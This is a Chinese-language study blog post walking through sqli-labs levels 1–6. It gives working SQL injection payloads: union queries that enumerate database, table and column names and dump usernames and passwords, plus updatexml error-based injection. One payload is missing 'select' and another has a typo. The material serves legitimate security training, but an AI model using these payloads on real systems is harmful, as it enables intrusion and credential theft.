sqli-labs笔记

前言

如果你是使用的phpstudy,请务必将sql的版本调到5.5以上,因为这样你的数据库内才会有information_schema数据库,方便进行实验测试。
另外-- (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。

用到的一些东西:

1. concat(str1,str2,...) #没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...) #含有分隔符地连接字符串
3. group_concat(str1,str2,...) #连接一个组的所有字符串,并以逗号分隔每一条数据
说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
order by #猜字段
database() #爆数据库名
user() #爆数据库用户名

union ..... 联合查询
selcet group_concat(table_name) from information_schema.tables where table_schema='security' 
#查询指定数据库security的表名

select group_concat(column_name)from information_schema.columns where table_name='user' 
#查询指定表的列名信息

select 1,group_concat(username),group_concat(password) from security.user
#获取数据

注入流程

在这里插入图片描述mysql数据库存储的数据按照上图的形式,一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据。

第一关

1.id=1’ 页面不正常,表示可能存在SQL字符注入,输入–+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入
在这里插入图片描述在这里插入图片描述
2.使用order by猜字段

在这里插入图片描述
在这里插入图片描述
超过3报错说明有3个
3.将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位。
在这里插入图片描述
有两个显示位

4.爆数据库名和数据库用户

id=-1' union 1,database(),user() --+

在这里插入图片描述5.爆表名

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+

在这里插入图片描述
6.爆列名

id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+

在这里插入图片描述
7.爆用户名,密码

id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

在这里插入图片描述

第二关

1.id=1 and 1=1,id=1 and 1=2判断数值型注入
2.order by 3 页面显示正常,order by 4页面显示不正常,所以该表有3列数据
接着可以使用联合查询进行注入,详细过程参考第一关

第三关

1.向页面输入?id=1’ --+页面显示不正常,但?id=1’) --+显示正常,说明是字符型注入,且是(‘’)闭合的
在这里插入图片描述
在这里插入图片描述
后续过程参考第一关
2.接着使用order by 判断表中有3列数据
3.接着使用联合查询,union select 1,2,3 判断页面是否有显示位
4.爆表名列名数据

第四关

1.与第三关类似,第四关使用 (“”) 的方式闭合字符串,然后可以优先使用联合查询注入 (多试几次就知道了)
2.判断完类型后,后续步骤跟第一关差不多。

?id=-1") union select 1,group_concat(username),group_concat(password) from users--+

第五关

盲注类型,单引号闭合
可以使用报错注入

?id=1' and updatexml(0x7e,concat(0x7e,database(),0x7e),0x7e)--+

第六关

同上,双引号闭合,可以使用报错注入

?id=1" and updatexml(0x7e,concat(0x7e,database(),0x7e),0x7e)--+
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XXX_WXY

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值